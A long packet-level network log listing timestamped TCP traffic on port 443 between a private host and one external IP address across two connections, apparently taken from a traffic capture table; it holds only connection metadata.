Apr 6, 2021 19:39:59.575016975 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.693953991 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.694122076 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.694268942 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.694293022 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.694313049 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.694367886 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.697257042 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.697293997 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.697388887 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.698755980 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.698791027 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.698935032 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.699456930 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.699491024 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.699554920 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.700038910 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.700069904 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.700141907 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.700333118 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.700356960 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.700437069 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.756208897 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.756277084 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.756490946 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.756623983 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.756654024 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.756724119 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.757904053 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.757932901 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.758037090 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.759113073 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.759143114 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.759228945 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.760296106 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.760327101 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.760423899 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.761557102 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.761588097 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.761701107 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.762749910 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.762769938 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.762857914 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.853154898 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.853212118 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.853395939 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.853609085 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.853668928 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.853744030 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.854826927 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.854901075 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.854969978 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.856054068 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.856136084 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.856199026 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.857259989 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.857321024 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.857379913 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.858477116 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.858540058 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.858603001 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.859769106 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.859819889 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.859874964 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.860907078 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.860944033 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.861011028 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.862147093 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.862195969 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:39:59.862257957 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:39:59.863353014 CEST	443	49171	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:00.078063965 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.011343002 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.053687096 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.054939032 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.058832884 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.101039886 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.101116896 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.101161957 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.101201057 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.101320982 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.103194952 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.103225946 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.103313923 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.120418072 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.162591934 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.163060904 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.361908913 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.526165009 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.568270922 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.776156902 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.776204109 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.776232958 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.776262999 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.776293039 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.776319981 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.777278900 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.777303934 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.777362108 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.778513908 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.906747103 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.906774998 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.906793118 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.906810045 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.906826019 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.906860113 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.910105944 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.910130024 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.910181999 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.911878109 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.911900043 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.911945105 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.912801981 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.912822008 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.912873983 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.913552046 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.913570881 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.913605928 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.914107084 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.914130926 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.914172888 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.915554047 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.915572882 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.915613890 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.916573048 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.916590929 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.916636944 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.917772055 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.917793989 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.917840958 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.919238091 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.966994047 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.967016935 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.967060089 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.967432022 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.967478037 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.967505932 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.968771935 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.968791962 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.968836069 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.969947100 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.969964981 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.970022917 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.971144915 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.971163988 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.971226931 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.972415924 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.972435951 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.972484112 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.973010063 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.973576069 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.973721027 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.973772049 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.974824905 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.974843025 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.974895000 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.975999117 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.976020098 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.976080894 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.977247000 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.977266073 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.977322102 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.978662968 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.978689909 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.978749990 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.979665041 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.979695082 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.979739904 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.980885029 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.980914116 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.980961084 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.982120037 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.982145071 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.982187986 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.983308077 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.983534098 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.983592033 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:29.984544039 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.984569073 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:29.984618902 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.009049892 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.009077072 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.009128094 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.009426117 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.009447098 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.009481907 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.010746956 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.010771036 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.010809898 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.011899948 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.011923075 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.011965036 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.062427998 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.062460899 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.062580109 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.062777996 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.062796116 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.062859058 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.063668966 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.063703060 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.063760042 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.064863920 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.064903975 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.064964056 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.065460920 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.065480947 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.065527916 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.066376925 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.066395044 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.066442966 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.067291975 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.067312002 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.067411900 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.068196058 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.068213940 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.068278074 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.069081068 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.069102049 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.069149971 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.069943905 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.069962978 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.070013046 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.070835114 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.070853949 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.070909023 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.071708918 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.071746111 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.071803093 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.072630882 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.072668076 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.072731972 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.073514938 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.073534966 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.073591948 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.074393988 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.074412107 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.074459076 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.075314999 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.075334072 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.075373888 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.076204062 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.076231003 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.076275110 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.077111959 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.077132940 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.077173948 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.077985048 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.078003883 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.078058958 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.078886032 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.078908920 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.078963995 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.079823971 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.079848051 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.079902887 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.080737114 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.080760956 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.080802917 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.081614017 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.081638098 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.081695080 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.082524061 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.082550049 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.082609892 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.104497910 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.104526997 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.104676962 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.104795933 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.104814053 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.104856968 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.105691910 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.105717897 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.105783939 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.106779099 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.106798887 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.106868982 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.107484102 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.107502937 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.107559919 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.108342886 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.108361006 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.108412027 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.109407902 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.109431028 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.109474897 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.110126019 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.110158920 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.110208988 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.111044884 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.111063004 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.111109018 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.111931086 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.111952066 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.111991882 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.112802029 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.112838984 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.112889051 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.113725901 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.113749027 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.113810062 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.114653111 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.114672899 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.114717960 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.115524054 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.115550995 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.115592003 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.116463900 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.116489887 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.116543055 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.117428064 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.117454052 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.117511988 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.118192911 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.118211985 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.118266106 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.119091988 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.119110107 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.119160891 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.120003939 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.120033026 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.120080948 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.120919943 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.120943069 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.120980024 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.121814013 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.121835947 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.121882915 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.122659922 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.122677088 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.122726917 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.163348913 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.163374901 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.163388968 CEST	443	49172	143.204.3.74	192.168.2.22
